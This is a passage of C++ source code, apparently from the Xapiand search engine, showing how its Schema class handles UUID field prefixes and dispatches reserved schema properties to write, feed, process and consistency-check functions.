specification.prefix.uuid.append(specification.local_prefix.uuid); } specification.local_prefix.field = std::move(specification.local_prefix.uuid); specification.local_prefix.uuid.clear(); break; } case UUIDFieldIndex::uuid_field: { specification.prefix.field.append(specification.local_prefix.field); if (!specification.prefix.uuid.empty()) { specification.prefix.uuid.append(specification.local_prefix.field); } specification.local_prefix.uuid.clear(); break; } case UUIDFieldIndex::both: { if (specification.prefix.uuid.empty()) { specification.prefix.uuid = specification.prefix.field; } specification.prefix.field.append(specification.local_prefix.field); specification.prefix.uuid.append(specification.local_prefix.uuid); break; } case UUIDFieldIndex::INVALID: break; } } else { specification.prefix.field.append(specification.local_prefix.field); if (!specification.prefix.uuid.empty()) { specification.prefix.uuid.append(specification.local_prefix.field); } } } else { specification.prefix.field.append(specification.local_prefix.field); } if (specification.flags.partial_paths) { if (specification.partial_prefixes.empty()) { specification.partial_prefixes.push_back(specification.prefix); } else { specification.partial_prefixes.push_back(specification.local_prefix); } } else { specification.partial_prefixes.clear(); } } inline void Schema::verify_dynamic(std::string_view field_name) { L_CALL("Schema::verify_dynamic({})", repr(field_name)); if (field_name == UUID_FIELD_NAME) { specification.meta_name.assign(UUID_FIELD_NAME); specification.flags.uuid_field = true; specification.flags.uuid_path = true; } else { specification.local_prefix.field.assign(get_prefix(field_name)); specification.meta_name.assign(field_name); specification.flags.uuid_field = false; } } inline void Schema::detect_dynamic(std::string_view field_name) { L_CALL("Schema::detect_dynamic({})", repr(field_name)); if (Serialise::possiblyUUID(field_name)) { try { auto ser_uuid = Serialise::uuid(field_name); specification.local_prefix.uuid.assign(ser_uuid); static const auto uuid_field_prefix = get_prefix(UUID_FIELD_NAME); specification.local_prefix.field.assign(uuid_field_prefix); specification.meta_name.assign(UUID_FIELD_NAME); specification.flags.uuid_field = true; specification.flags.uuid_path = true; } catch (const SerialisationError&) { specification.local_prefix.field.assign(get_prefix(field_name)); specification.meta_name.assign(field_name); specification.flags.uuid_field = false; } } else { specification.local_prefix.field.assign(get_prefix(field_name)); specification.meta_name.assign(field_name); specification.flags.uuid_field = false; } } inline void Schema::dispatch_process_concrete_properties(const MsgPack& object, FieldVector& fields, Field** id_field) { L_CALL("Schema::dispatch_process_concrete_properties({}, <fields>)", repr(object.to_string())); const auto it_e = object.end(); for (auto it = object.begin(); it != it_e; ++it) { auto str_key = it->str_view(); auto& value = it.value(); if (is_reserved(str_key)) { auto key = hh(str_key); if (!_dispatch_process_concrete_properties(key, str_key, value)) { fields.emplace_back(str_key, &value); if (id_field != nullptr && key == hh(ID_FIELD_NAME)) { *id_field = &fields.back(); } } } else { fields.emplace_back(str_key, &value); } } #ifdef XAPIAND_CHAISCRIPT normalize_script(); #endif } inline void Schema::dispatch_process_all_properties(const MsgPack& object, FieldVector& fields, Field** id_field) { L_CALL("Schema::dispatch_process_all_properties({}, <fields>)", repr(object.to_string())); const auto it_e = object.end(); for (auto it = object.begin(); it != it_e; ++it) { auto str_key = it->str_view(); auto& value = it.value(); if (is_reserved(str_key)) { auto key = hh(str_key); if (!_dispatch_process_properties(key, str_key, value)) { if (!_dispatch_process_concrete_properties(key, str_key, value)) { fields.emplace_back(str_key, &value); if (id_field != nullptr && key == hh(ID_FIELD_NAME)) { *id_field = &fields.back(); } } } } else { fields.emplace_back(str_key, &value); } } #ifdef XAPIAND_CHAISCRIPT normalize_script(); #endif } inline void Schema::dispatch_process_properties(const MsgPack& object, FieldVector& fields, Field** id_field) { if (specification.flags.concrete) { dispatch_process_concrete_properties(object, fields, id_field); } else { dispatch_process_all_properties(object, fields, id_field); } } inline void Schema::dispatch_write_concrete_properties(MsgPack& mut_properties, const MsgPack& object, FieldVector& fields, Field** id_field) { L_CALL("Schema::dispatch_write_concrete_properties({}, {}, <fields>)", repr(mut_properties.to_string()), repr(object.to_string())); const auto it_e = object.end(); for (auto it = object.begin(); it != it_e; ++it) { auto str_key = it->str_view(); auto& value = it.value(); if (is_reserved(str_key)) { auto key = hh(str_key); if (!_dispatch_write_properties(key, mut_properties, str_key, value)) { if (!_dispatch_process_concrete_properties(key, str_key, value)) { fields.emplace_back(str_key, &value); if (id_field != nullptr && key == hh(ID_FIELD_NAME)) { *id_field = &fields.back(); } } } } else { fields.emplace_back(str_key, &value); } } #ifdef XAPIAND_CHAISCRIPT write_script(mut_properties); #endif } inline bool Schema::_dispatch_write_properties(uint32_t key, MsgPack& mut_properties, std::string_view prop_name, const MsgPack& value) { L_CALL("Schema::_dispatch_write_properties({})", repr(mut_properties.to_string())); constexpr static auto _ = phf::make_phf({ hh(RESERVED_WEIGHT), hh(RESERVED_POSITION), hh(RESERVED_SPELLING), hh(RESERVED_POSITIONS), hh(RESERVED_INDEX), hh(RESERVED_STORE), hh(RESERVED_RECURSE), hh(RESERVED_IGNORE), hh(RESERVED_DYNAMIC), hh(RESERVED_STRICT), hh(RESERVED_DATE_DETECTION), hh(RESERVED_DATETIME_DETECTION), hh(RESERVED_TIME_DETECTION), hh(RESERVED_TIMEDELTA_DETECTION), hh(RESERVED_NUMERIC_DETECTION), hh(RESERVED_GEO_DETECTION), hh(RESERVED_BOOL_DETECTION), hh(RESERVED_TEXT_DETECTION), hh(RESERVED_UUID_DETECTION), hh(RESERVED_BOOL_TERM), hh(RESERVED_NAMESPACE), hh(RESERVED_PARTIAL_PATHS), hh(RESERVED_INDEX_UUID_FIELD), hh(RESERVED_SCHEMA), hh(RESERVED_SETTINGS), }); switch (_.find(key)) { case _.fhh(RESERVED_WEIGHT): write_weight(mut_properties, prop_name, value); return true; case _.fhh(RESERVED_POSITION): write_position(mut_properties, prop_name, value); return true; case _.fhh(RESERVED_SPELLING): write_spelling(mut_properties, prop_name, value); return true; case _.fhh(RESERVED_POSITIONS): write_positions(mut_properties, prop_name, value); return true; case _.fhh(RESERVED_INDEX): write_index(mut_properties, prop_name, value); return true; case _.fhh(RESERVED_STORE): write_store(mut_properties, prop_name, value); return true; case _.fhh(RESERVED_RECURSE): write_recurse(mut_properties, prop_name, value); return true; case _.fhh(RESERVED_IGNORE): write_ignore(mut_properties, prop_name, value); return true; case _.fhh(RESERVED_DYNAMIC): write_dynamic(mut_properties, prop_name, value); return true; case _.fhh(RESERVED_STRICT): write_strict(mut_properties, prop_name, value); return true; case _.fhh(RESERVED_DATE_DETECTION): write_date_detection(mut_properties, prop_name, value); return true; case _.fhh(RESERVED_DATETIME_DETECTION): write_datetime_detection(mut_properties, prop_name, value); return true; case _.fhh(RESERVED_TIME_DETECTION): write_time_detection(mut_properties, prop_name, value); return true; case _.fhh(RESERVED_TIMEDELTA_DETECTION): write_timedelta_detection(mut_properties, prop_name, value); return true; case _.fhh(RESERVED_NUMERIC_DETECTION): write_numeric_detection(mut_properties, prop_name, value); return true; case _.fhh(RESERVED_GEO_DETECTION): write_geo_detection(mut_properties, prop_name, value); return true; case _.fhh(RESERVED_BOOL_DETECTION): write_bool_detection(mut_properties, prop_name, value); return true; case _.fhh(RESERVED_TEXT_DETECTION): write_text_detection(mut_properties, prop_name, value); return true; case _.fhh(RESERVED_UUID_DETECTION): write_uuid_detection(mut_properties, prop_name, value); return true; case _.fhh(RESERVED_BOOL_TERM): write_bool_term(mut_properties, prop_name, value); return true; case _.fhh(RESERVED_NAMESPACE): write_namespace(mut_properties, prop_name, value); return true; case _.fhh(RESERVED_PARTIAL_PATHS): write_partial_paths(mut_properties, prop_name, value); return true; case _.fhh(RESERVED_INDEX_UUID_FIELD): write_index_uuid_field(mut_properties, prop_name, value); return true; case _.fhh(RESERVED_SCHEMA): write_schema(mut_properties, prop_name, value); return true; case _.fhh(RESERVED_SETTINGS): write_settings(mut_properties, prop_name, value); return true; default: return false; } } inline bool Schema::_dispatch_feed_properties(uint32_t key, const MsgPack& value) { L_CALL("Schema::_dispatch_feed_properties({})", repr(value.to_string())); constexpr static auto _ = phf::make_phf({ hh(RESERVED_WEIGHT), hh(RESERVED_POSITION), hh(RESERVED_SPELLING), hh(RESERVED_POSITIONS), hh(RESERVED_TYPE), hh(RESERVED_PREFIX), hh(RESERVED_SLOT), hh(RESERVED_INDEX), hh(RESERVED_STORE), hh(RESERVED_RECURSE), hh(RESERVED_IGNORE), hh(RESERVED_DYNAMIC), hh(RESERVED_STRICT), hh(RESERVED_DATE_DETECTION), hh(RESERVED_DATETIME_DETECTION), hh(RESERVED_TIME_DETECTION), hh(RESERVED_TIMEDELTA_DETECTION), hh(RESERVED_NUMERIC_DETECTION), hh(RESERVED_GEO_DETECTION), hh(RESERVED_BOOL_DETECTION), hh(RESERVED_TEXT_DETECTION), hh(RESERVED_UUID_DETECTION), hh(RESERVED_BOOL_TERM), hh(RESERVED_ACCURACY), hh(RESERVED_ACC_PREFIX), hh(RESERVED_NGRAM), hh(RESERVED_CJK_NGRAM), hh(RESERVED_CJK_WORDS), hh(RESERVED_LANGUAGE), hh(RESERVED_STOP_STRATEGY), hh(RESERVED_STEM_STRATEGY), hh(RESERVED_STEM_LANGUAGE), hh(RESERVED_PARTIALS), hh(RESERVED_ERROR), hh(RESERVED_NAMESPACE), hh(RESERVED_PARTIAL_PATHS), hh(RESERVED_INDEX_UUID_FIELD), hh(RESERVED_SCRIPT), hh(RESERVED_ENDPOINT), }); switch (_.find(key)) { case _.fhh(RESERVED_WEIGHT): Schema::feed_weight(value); return true; case _.fhh(RESERVED_POSITION): Schema::feed_position(value); return true; case _.fhh(RESERVED_SPELLING): Schema::feed_spelling(value); return true; case _.fhh(RESERVED_POSITIONS): Schema::feed_positions(value); return true; case _.fhh(RESERVED_TYPE): Schema::feed_type(value); return true; case _.fhh(RESERVED_PREFIX): Schema::feed_prefix(value); return true; case _.fhh(RESERVED_SLOT): Schema::feed_slot(value); return true; case _.fhh(RESERVED_INDEX): Schema::feed_index(value); return true; case _.fhh(RESERVED_STORE): Schema::feed_store(value); return true; case _.fhh(RESERVED_RECURSE): Schema::feed_recurse(value); return true; case _.fhh(RESERVED_IGNORE): Schema::feed_ignore(value); return true; case _.fhh(RESERVED_DYNAMIC): Schema::feed_dynamic(value); return true; case _.fhh(RESERVED_STRICT): Schema::feed_strict(value); return true; case _.fhh(RESERVED_DATE_DETECTION): Schema::feed_date_detection(value); return true; case _.fhh(RESERVED_DATETIME_DETECTION): Schema::feed_datetime_detection(value); return true; case _.fhh(RESERVED_TIME_DETECTION): Schema::feed_time_detection(value); return true; case _.fhh(RESERVED_TIMEDELTA_DETECTION): Schema::feed_timedelta_detection(value); return true; case _.fhh(RESERVED_NUMERIC_DETECTION): Schema::feed_numeric_detection(value); return true; case _.fhh(RESERVED_GEO_DETECTION): Schema::feed_geo_detection(value); return true; case _.fhh(RESERVED_BOOL_DETECTION): Schema::feed_bool_detection(value); return true; case _.fhh(RESERVED_TEXT_DETECTION): Schema::feed_text_detection(value); return true; case _.fhh(RESERVED_UUID_DETECTION): Schema::feed_uuid_detection(value); return true; case _.fhh(RESERVED_BOOL_TERM): Schema::feed_bool_term(value); return true; case _.fhh(RESERVED_ACCURACY): Schema::feed_accuracy(value); return true; case _.fhh(RESERVED_ACC_PREFIX): Schema::feed_acc_prefix(value); return true; case _.fhh(RESERVED_NGRAM): Schema::feed_ngram(value); return true; case _.fhh(RESERVED_CJK_NGRAM): Schema::feed_cjk_ngram(value); return true; case _.fhh(RESERVED_CJK_WORDS): Schema::feed_cjk_words(value); return true; case _.fhh(RESERVED_LANGUAGE): Schema::feed_language(value); return true; case _.fhh(RESERVED_STOP_STRATEGY): Schema::feed_stop_strategy(value); return true; case _.fhh(RESERVED_STEM_STRATEGY): Schema::feed_stem_strategy(value); return true; case _.fhh(RESERVED_STEM_LANGUAGE): Schema::feed_stem_language(value); return true; case _.fhh(RESERVED_PARTIALS): Schema::feed_partials(value); return true; case _.fhh(RESERVED_ERROR): Schema::feed_error(value); return true; case _.fhh(RESERVED_NAMESPACE): Schema::feed_namespace(value); return true; case _.fhh(RESERVED_PARTIAL_PATHS): Schema::feed_partial_paths(value); return true; case _.fhh(RESERVED_INDEX_UUID_FIELD): Schema::feed_index_uuid_field(value); return true; case _.fhh(RESERVED_SCRIPT): Schema::feed_script(value); return true; case _.fhh(RESERVED_ENDPOINT): Schema::feed_endpoint(value); return true; default: return false; } } inline bool has_dispatch_process_properties(uint32_t key) { constexpr static auto _ = phf::make_phf({ hh(RESERVED_NGRAM), hh(RESERVED_CJK_NGRAM), hh(RESERVED_CJK_WORDS), hh(RESERVED_LANGUAGE), hh(RESERVED_PREFIX), hh(RESERVED_SLOT), hh(RESERVED_STOP_STRATEGY), hh(RESERVED_STEM_STRATEGY), hh(RESERVED_STEM_LANGUAGE), hh(RESERVED_TYPE), hh(RESERVED_BOOL_TERM), hh(RESERVED_ACCURACY), hh(RESERVED_ACC_PREFIX), hh(RESERVED_PARTIALS), hh(RESERVED_ERROR), }); return _.count(key) != 0u; } inline bool Schema::_dispatch_process_properties(uint32_t key, std::string_view prop_name, const MsgPack& value) { L_CALL("Schema::_dispatch_process_properties({})", repr(prop_name)); constexpr static auto _ = phf::make_phf({ hh(RESERVED_NGRAM), hh(RESERVED_CJK_NGRAM), hh(RESERVED_CJK_WORDS), hh(RESERVED_LANGUAGE), hh(RESERVED_PREFIX), hh(RESERVED_SLOT), hh(RESERVED_STOP_STRATEGY), hh(RESERVED_STEM_STRATEGY), hh(RESERVED_STEM_LANGUAGE), hh(RESERVED_TYPE), hh(RESERVED_BOOL_TERM), hh(RESERVED_ACCURACY), hh(RESERVED_ACC_PREFIX), hh(RESERVED_PARTIALS), hh(RESERVED_ERROR), }); switch (_.find(key)) { case _.fhh(RESERVED_NGRAM): Schema::process_ngram(prop_name, value); return true; case _.fhh(RESERVED_CJK_NGRAM): Schema::process_cjk_ngram(prop_name, value); return true; case _.fhh(RESERVED_CJK_WORDS): Schema::process_cjk_words(prop_name, value); return true; case _.fhh(RESERVED_LANGUAGE): Schema::process_language(prop_name, value); return true; case _.fhh(RESERVED_PREFIX): Schema::process_prefix(prop_name, value); return true; case _.fhh(RESERVED_SLOT): Schema::process_slot(prop_name, value); return true; case _.fhh(RESERVED_STOP_STRATEGY): Schema::process_stop_strategy(prop_name, value); return true; case _.fhh(RESERVED_STEM_STRATEGY): Schema::process_stem_strategy(prop_name, value); return true; case _.fhh(RESERVED_STEM_LANGUAGE): Schema::process_stem_language(prop_name, value); return true; case _.fhh(RESERVED_TYPE): Schema::process_type(prop_name, value); return true; case _.fhh(RESERVED_BOOL_TERM): Schema::process_bool_term(prop_name, value); return true; case _.fhh(RESERVED_ACCURACY): Schema::process_accuracy(prop_name, value); return true; case _.fhh(RESERVED_ACC_PREFIX): Schema::process_acc_prefix(prop_name, value); return true; case _.fhh(RESERVED_PARTIALS): Schema::process_partials(prop_name, value); return true; case _.fhh(RESERVED_ERROR): Schema::process_error(prop_name, value); return true; default: return false; } } inline bool has_dispatch_process_concrete_properties(uint32_t key) { constexpr static auto _ = phf::make_phf({ hh(RESERVED_DATA), hh(RESERVED_WEIGHT), hh(RESERVED_POSITION), hh(RESERVED_SPELLING), hh(RESERVED_POSITIONS), hh(RESERVED_INDEX), hh(RESERVED_STORE), hh(RESERVED_RECURSE), hh(RESERVED_IGNORE), hh(RESERVED_PARTIAL_PATHS), hh(RESERVED_INDEX_UUID_FIELD), hh(RESERVED_VALUE), hh(RESERVED_ENDPOINT), hh(RESERVED_SCRIPT), hh(RESERVED_FLOAT), hh(RESERVED_POSITIVE), hh(RESERVED_INTEGER), hh(RESERVED_BOOLEAN), hh(RESERVED_TERM), // FIXME: remove legacy term hh(RESERVED_KEYWORD), hh(RESERVED_TEXT), hh(RESERVED_STRING), hh(RESERVED_DATETIME), hh(RESERVED_UUID), hh(RESERVED_EWKT), hh(RESERVED_POINT), hh(RESERVED_CIRCLE), hh(RESERVED_CONVEX), hh(RESERVED_POLYGON), hh(RESERVED_CHULL), hh(RESERVED_MULTIPOINT), hh(RESERVED_MULTICIRCLE), hh(RESERVED_MULTICONVEX), hh(RESERVED_MULTIPOLYGON), hh(RESERVED_MULTICHULL), hh(RESERVED_GEO_COLLECTION), hh(RESERVED_GEO_INTERSECTION), hh(RESERVED_CHAI), // Next functions only check the consistency of user provided data. hh(RESERVED_SLOT), hh(RESERVED_NGRAM), hh(RESERVED_CJK_NGRAM), hh(RESERVED_CJK_WORDS), hh(RESERVED_LANGUAGE), hh(RESERVED_STOP_STRATEGY), hh(RESERVED_STEM_STRATEGY), hh(RESERVED_STEM_LANGUAGE), hh(RESERVED_TYPE), hh(RESERVED_BOOL_TERM), hh(RESERVED_ACCURACY), hh(RESERVED_PARTIALS), hh(RESERVED_ERROR), hh(RESERVED_DYNAMIC), hh(RESERVED_STRICT), hh(RESERVED_DATE_DETECTION), hh(RESERVED_DATETIME_DETECTION), hh(RESERVED_TIME_DETECTION), hh(RESERVED_TIMEDELTA_DETECTION), hh(RESERVED_NUMERIC_DETECTION), hh(RESERVED_GEO_DETECTION), hh(RESERVED_BOOL_DETECTION), hh(RESERVED_TEXT_DETECTION), hh(RESERVED_UUID_DETECTION), hh(RESERVED_NAMESPACE), hh(RESERVED_SCHEMA), hh(RESERVED_SETTINGS), }); return _.count(key) != 0u; } inline bool Schema::_dispatch_process_concrete_properties(uint32_t key, std::string_view prop_name, const MsgPack& value) { L_CALL("Schema::_dispatch_process_concrete_properties({})", repr(prop_name)); constexpr static auto _ = phf::make_phf({ hh(RESERVED_DATA), hh(RESERVED_WEIGHT), hh(RESERVED_POSITION), hh(RESERVED_SPELLING), hh(RESERVED_POSITIONS), hh(RESERVED_INDEX), hh(RESERVED_STORE), hh(RESERVED_RECURSE), hh(RESERVED_IGNORE), hh(RESERVED_PARTIAL_PATHS), hh(RESERVED_INDEX_UUID_FIELD), hh(RESERVED_VALUE), hh(RESERVED_ENDPOINT), hh(RESERVED_SCRIPT), hh(RESERVED_FLOAT), hh(RESERVED_POSITIVE), hh(RESERVED_INTEGER), hh(RESERVED_BOOLEAN), hh(RESERVED_TERM), // FIXME: remove legacy term hh(RESERVED_KEYWORD), hh(RESERVED_TEXT), hh(RESERVED_STRING), hh(RESERVED_DATETIME), hh(RESERVED_UUID), hh(RESERVED_EWKT), hh(RESERVED_POINT), hh(RESERVED_CIRCLE), hh(RESERVED_CONVEX), hh(RESERVED_POLYGON), hh(RESERVED_CHULL), hh(RESERVED_MULTIPOINT), hh(RESERVED_MULTICIRCLE), hh(RESERVED_MULTICONVEX), hh(RESERVED_MULTIPOLYGON), hh(RESERVED_MULTICHULL), hh(RESERVED_GEO_COLLECTION), hh(RESERVED_GEO_INTERSECTION), hh(RESERVED_CHAI), // Next functions only check the consistency of user provided data. hh(RESERVED_SLOT), hh(RESERVED_NGRAM), hh(RESERVED_CJK_NGRAM), hh(RESERVED_CJK_WORDS), hh(RESERVED_LANGUAGE), hh(RESERVED_STOP_STRATEGY), hh(RESERVED_STEM_STRATEGY), hh(RESERVED_STEM_LANGUAGE), hh(RESERVED_TYPE), hh(RESERVED_BOOL_TERM), hh(RESERVED_ACCURACY), hh(RESERVED_PARTIALS), hh(RESERVED_ERROR), hh(RESERVED_DYNAMIC), hh(RESERVED_STRICT), hh(RESERVED_DATE_DETECTION), hh(RESERVED_DATETIME_DETECTION), hh(RESERVED_TIME_DETECTION), hh(RESERVED_TIMEDELTA_DETECTION), hh(RESERVED_NUMERIC_DETECTION), hh(RESERVED_GEO_DETECTION), hh(RESERVED_BOOL_DETECTION), hh(RESERVED_TEXT_DETECTION), hh(RESERVED_UUID_DETECTION), hh(RESERVED_NAMESPACE), hh(RESERVED_SCHEMA), hh(RESERVED_SETTINGS), }); switch (_.find(key)) { case _.fhh(RESERVED_DATA): Schema::process_data(prop_name, value); return true; case _.fhh(RESERVED_WEIGHT): Schema::process_weight(prop_name, value); return true; case _.fhh(RESERVED_POSITION): Schema::process_position(prop_name, value); return true; case _.fhh(RESERVED_SPELLING): Schema::process_spelling(prop_name, value); return true; case _.fhh(RESERVED_POSITIONS): Schema::process_positions(prop_name, value); return true; case _.fhh(RESERVED_INDEX): Schema::process_index(prop_name, value); return true; case _.fhh(RESERVED_STORE): Schema::process_store(prop_name, value); return true; case _.fhh(RESERVED_RECURSE): Schema::process_recurse(prop_name, value); return true; case _.fhh(RESERVED_IGNORE): Schema::process_ignore(prop_name, value); return true; case _.fhh(RESERVED_PARTIAL_PATHS): Schema::process_partial_paths(prop_name, value); return true; case _.fhh(RESERVED_INDEX_UUID_FIELD): Schema::process_index_uuid_field(prop_name, value); return true; case _.fhh(RESERVED_VALUE): Schema::process_value(prop_name, value); return true; case _.fhh(RESERVED_ENDPOINT): Schema::process_endpoint(prop_name, value); return true; case _.fhh(RESERVED_SCRIPT): Schema::process_script(prop_name, value); return true; case _.fhh(RESERVED_FLOAT): Schema::process_cast_object(prop_name, value); return true; case _.fhh(RESERVED_POSITIVE): Schema::process_cast_object(prop_name, value); return true; case _.fhh(RESERVED_INTEGER): Schema::process_cast_object(prop_name, value); return true; case _.fhh(RESERVED_BOOLEAN): Schema::process_cast_object(prop_name, value); return true; case _.fhh(RESERVED_TERM): // FIXME: remove legacy term case _.fhh(RESERVED_KEYWORD): Schema::process_cast_object(prop_name, value); return true; case _.fhh(RESERVED_TEXT): Schema::process_cast_object(prop_name, value); return true; case _.fhh(RESERVED_STRING): Schema::process_cast_object(prop_name, value); return true; case _.fhh(RESERVED_DATETIME): Schema::process_cast_object(prop_name, value); return true; case _.fhh(RESERVED_UUID): Schema::process_cast_object(prop_name, value); return true; case _.fhh(RESERVED_EWKT): Schema::process_cast_object(prop_name, value); return true; case _.fhh(RESERVED_POINT): Schema::process_cast_object(prop_name, value); return true; case _.fhh(RESERVED_CIRCLE): Schema::process_cast_object(prop_name, value); return true; case _.fhh(RESERVED_CONVEX): Schema::process_cast_object(prop_name, value); return true; case _.fhh(RESERVED_POLYGON): Schema::process_cast_object(prop_name, value); return true; case _.fhh(RESERVED_CHULL): Schema::process_cast_object(prop_name, value); return true; case _.fhh(RESERVED_MULTIPOINT): Schema::process_cast_object(prop_name, value); return true; case _.fhh(RESERVED_MULTICIRCLE): Schema::process_cast_object(prop_name, value); return true; case _.fhh(RESERVED_MULTICONVEX): Schema::process_cast_object(prop_name, value); return true; case _.fhh(RESERVED_MULTIPOLYGON): Schema::process_cast_object(prop_name, value); return true; case _.fhh(RESERVED_MULTICHULL): Schema::process_cast_object(prop_name, value); return true; case _.fhh(RESERVED_GEO_COLLECTION): Schema::process_cast_object(prop_name, value); return true; case _.fhh(RESERVED_GEO_INTERSECTION): Schema::process_cast_object(prop_name, value); return true; case _.fhh(RESERVED_CHAI): Schema::process_cast_object(prop_name, value); return true; // Next functions only check the consistency of user provided data. case _.fhh(RESERVED_SLOT): Schema::consistency_slot(prop_name, value); return true; case _.fhh(RESERVED_NGRAM): Schema::consistency_ngram(prop_name, value); return true; case _.fhh(RESERVED_CJK_NGRAM): Schema::consistency_cjk_ngram(prop_name, value); return true; case _.fhh(RESERVED_CJK_WORDS): Schema::consistency_cjk_words(prop_name, value); return true; case _.fhh(RESERVED_LANGUAGE): Schema::consistency_language(prop_name, value); return true; case _.fhh(RESERVED_STOP_STRATEGY): Schema::consistency_stop_strategy(prop_name, value); return true; case _.fhh(RESERVED_STEM_STRATEGY): Schema::consistency_stem_strategy(prop_name, value); return true; case _.fhh(RESERVED_STEM_LANGUAGE): Schema::consistency_stem_language(prop_name, value); return true; case _.fhh(RESERVED_TYPE): Schema::consistency_type(prop_name, value); return true; case _.fhh(RESERVED_BOOL_TERM): Schema::consistency_bool_term(prop_name, value); return true; case _.fhh(RESERVED_ACCURACY): Schema::consistency_accuracy(prop_name, value); return true; case _.fhh(RESERVED_PARTIALS): Schema::consistency_partials(prop_name, value); return true; case _.fhh(RESERVED_ERROR): Schema::consistency_error(prop_name, value); return true; case _.fhh(RESERVED_DYNAMIC): Schema::consistency_dynamic(prop_name, value); return true; case _.fhh(RESERVED_STRICT): Schema::consistency_strict(prop_name, value); return true; case _.fhh(RESERVED_DATE_DETECTION): Schema::consistency_date_detection(prop_name, value); return true; case _.fhh(RESERVED_DATETIME_DETECTION): Schema::consistency_datetime_detection(prop_name, value); return true; case _.fhh(RESERVED_TIME_DETECTION): Schema::consistency_time_detection(prop_name, value); return true; case _.fhh(RESERVED_TIMEDELTA_DETECTION): Schema::consistency_timedelta_detection(prop_name, value); return true; case _.fhh(RESERVED_NUMERIC_DETECTION): Schema::consistency_numeric_detection(prop_name, value); return true; case _.fhh(RESERVED_GEO_DETECTION): Schema::consistency_geo_detection(prop_name, value); return true; case _.fhh(RESERVED_BOOL_DETECTION): Schema::consistency_bool_detection(prop_name, value); return true; case _.fhh(RESERVED_TEXT_DETECTION): Schema::consistency_text_detection(prop_name, value); return true; case _.fhh(RESERVED_UUID_DETECTION): Schema::consistency_uuid_detection(prop_name, value); return true; case _.fhh(RESERVED_NAMESPACE): Schema::consistency_namespace(prop_name, value); return true; case _.fhh(RESERVED_SCHEMA): Schema::consistency_schema(prop_name, value); return true; case _.fhh(RESERVED_SETTINGS): Schema::consistency_settings(prop_name, value); return true; default: return false; } } void Schema::dispatch_write_all_properties(MsgPack& mut_properties, const MsgPack& object, FieldVector& fields, Field** id_field) { L_CALL("Schema::dispatch_write_all_properties({}, {}, <fields>)", repr(mut_properties.to_string()), repr(object.to_string())); auto it_e = object.end(); for (auto it = object.begin(); it != it_e; ++it) { auto str_key = it->str_view(); auto& value = it.value(); if (is_reserved(str_key)) { auto key = hh(str_key); if (!_dispatch_write_properties(key, mut_properties, str_key, value)) { if (!_dispatch_process_properties(key, str_key, value)) { if (!_dispatch_process_concrete_properties(key, str_key, value)) { fields.emplace_back(str_key, &value); if (id_field != nullptr && key == hh(ID_FIELD_NAME)) { *id_field = &fields.back(); } } } } } else { fields.emplace_back(str_key, &value); } } #ifdef XAPIAND_CHAISCRIPT write_script(mut_properties); #endif } inline void Schema::dispatch_write_properties(MsgPack& mut_properties, const MsgPack& object, FieldVector& fields, Field** id_field) { L_CALL("Schema::dispatch_write_properties({}, <object>, <fields>)", repr(mut_properties.to_string())); if (specification.flags.concrete) { dispatch_write_concrete_properties(mut_properties, object, fields, id_field); } else { dispatch_write_all_properties(mut_properties, object, fields, id_field); } } inline bool has_dispatch_set_default_spc(uint32_t key) { constexpr static auto _ = phf::make_phf({ hh(ID_FIELD_NAME), hh(RESERVED_VERSION), }); return _.count(key) != 0u; } inline void Schema::dispatch_set_default_spc(MsgPack& mut_properties) { L_CALL("Schema::dispatch_set_default_spc({})", repr(mut_properties.to_string())); auto key = hh(specification.full_meta_name); constexpr static auto _ = phf::make_phf({ hh(ID_FIELD_NAME), hh(RESERVED_VERSION), }); switch (_.find(key)) { case _.fhh(ID_FIELD_NAME): set_default_spc_id(mut_properties); break; case _.fhh(RESERVED_VERSION): set_default_spc_version(mut_properties); break; } } void Schema::add_field(MsgPack*& mut_properties, const MsgPack& object, FieldVector& fields) { L_CALL("Schema::add_field({}, {}, <fields>)", repr(mut_properties->to_string()), repr(object.to_string())); specification.flags.field_found = false; mut_properties = &mut_properties->get(specification.meta_name); const auto& stem = _get_stem_language(specification.meta_name); if (stem.first && stem.second != "unknown") { specification.language = stem.second; specification.aux_language = stem.second; } if (specification.full_meta_name.empty()) { specification.full_meta_name.assign(specification.meta_name); } else { specification.full_meta_name.append(1, DB_OFFSPRING_UNION).append(specification.meta_name); } // Write obj specifications. dispatch_write_all_properties(*mut_properties, object, fields); // Load default specifications. dispatch_set_default_spc(*mut_properties); // Write prefix in properties. mut_properties->get(RESERVED_PREFIX) = specification.local_prefix.field; update_prefixes(); } void Schema::add_field(MsgPack*& mut_properties) { L_CALL("Schema::add_field({})", repr(mut_properties->to_string())); mut_properties = &mut_properties->get(specification.meta_name); const auto& stem = _get_stem_language(specification.meta_name); if (stem.first && stem.second != "unknown") { specification.language = stem.second; specification.aux_language = stem.second; } if (specification.full_meta_name.empty()) { specification.full_meta_name.assign(specification.meta_name); } else { specification.full_meta_name.append(1, DB_OFFSPRING_UNION).append(specification.meta_name); } // Load default specifications. dispatch_set_default_spc(*mut_properties); // Write prefix in properties. mut_properties->get(RESERVED_PREFIX) = specification.local_prefix.field; update_prefixes(); } void Schema::dispatch_feed_properties(const MsgPack& properties) { L_CALL("Schema::dispatch_feed_properties({})", repr(properties.to_string())); const auto it_e = properties.end(); for (auto it = properties.begin(); it != it_e; ++it) { auto str_key = it->str_view(); if (is_reserved(str_key)) { auto& value = it.value(); auto key = hh(str_key); _dispatch_feed_properties(key, value); } } } void Schema::feed_weight(const MsgPack& prop_obj) { L_CALL("Schema::feed_weight({})", repr(prop_obj.to_string())); if (prop_obj.is_array()) { specification.weight.clear(); for (const auto& prop_item_obj : prop_obj) { if (prop_item_obj.is_number()) { specification.weight.push_back(static_cast<Xapian::termpos>(prop_item_obj.u64())); } else { THROW(Error, "Schema is corrupt: '{}' in {} is not valid.", RESERVED_WEIGHT, specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } } } else if (prop_obj.is_number()) { specification.weight.clear(); specification.weight.push_back(static_cast<Xapian::termpos>(prop_obj.u64())); } else { THROW(Error, "Schema is corrupt: '{}' in {} is not valid.", RESERVED_WEIGHT, specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } } void Schema::feed_position(const MsgPack& prop_obj) { L_CALL("Schema::feed_position({})", repr(prop_obj.to_string())); if (prop_obj.is_array()) { specification.position.clear(); for (const auto& prop_item_obj : prop_obj) { if (prop_item_obj.is_number()) { specification.position.push_back(static_cast<Xapian::termpos>(prop_item_obj.u64())); } else { THROW(Error, "Schema is corrupt: '{}' in {} is not valid.", RESERVED_WEIGHT, specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } } } else if (prop_obj.is_number()) { specification.position.clear(); 